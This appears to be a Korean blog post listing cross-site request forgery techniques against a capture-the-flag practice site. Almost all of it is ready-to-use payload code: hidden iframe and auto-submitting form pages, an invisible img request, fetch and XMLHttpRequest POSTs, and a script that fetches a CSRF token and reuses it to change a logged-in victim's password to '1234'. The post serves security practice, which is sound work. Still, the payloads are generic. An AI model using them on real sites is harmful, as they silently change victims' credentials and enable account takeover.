본문 바로가기

old/Cyber Security

CSRF 공격기법 리스트

반응형

GET방식 예시 코드

iframe, form

iframe의 sandbox속성으로 팝업 제거

<iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe" style="display: none;"sandbox="allow-scripts"></iframe>
<form method="GET" action="http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php" target="stealthframe">
<input type="hidden" name="pw" value="1234">
</form>
<script>
document.forms[0].submit();
</script>

img

<img src="http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php?pw=1234" width="0" height="0" style="display: none;">

POST방식 예시 코드

<iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe" style="display: none;"sandbox="allow-scripts"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php" target="stealthframe">
<input type="hidden" name="pw" value="1234">
</form>
<script>
document.forms[0].submit();
</script>
<script>
fetch('http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded'
  },
  body: 'pw=1234'
});
</script>
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('pw=1234');
</script>

POST방식 예시 코드+CSRF 토큰 우회

  1. CSRF토큰이 발급된다면, 어디에서 토큰이 발급되는지 확인을 합니다.
  2. 현재 연습하고 있는 싸이트에서는 http://ctf.segfaulthub.com:7777/csrf_3/mypage.php 에서 토큰을 발행하고 있고. 토큰은 input[name="csrf_token"] 태그 안에 있습니다.
  3. 자바스크립트로 토큰을 가져와서 http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php에 비밀번호를 변경하도록 합니다.
  4. 아래코드는 자바스트립트의 XMLHttpRequest를 이용하기 떄문에 팝업창이 뜨지 않습니다.
<script>
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function() {
  if (xhr.readyState === 4 && xhr.status === 200) {
    var response = xhr.responseText;
    var parser = new DOMParser();
    var htmlDoc = parser.parseFromString(response, 'text/html');
    
    var csrfInput = htmlDoc.querySelector('input[name="csrf_token"]');
    var csrfToken = csrfInput.value;
    
    console.log('CSRF Token:', csrfToken);

    var xhr2 = new XMLHttpRequest();
    xhr2.open('POST', 'http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php', true);
    xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr2.send('pw=1234&csrf_token=' + csrfToken);
  }
};

xhr.open('GET', 'http://ctf.segfaulthub.com:7777/csrf_3/mypage.php', true);
xhr.send();
</script>
반응형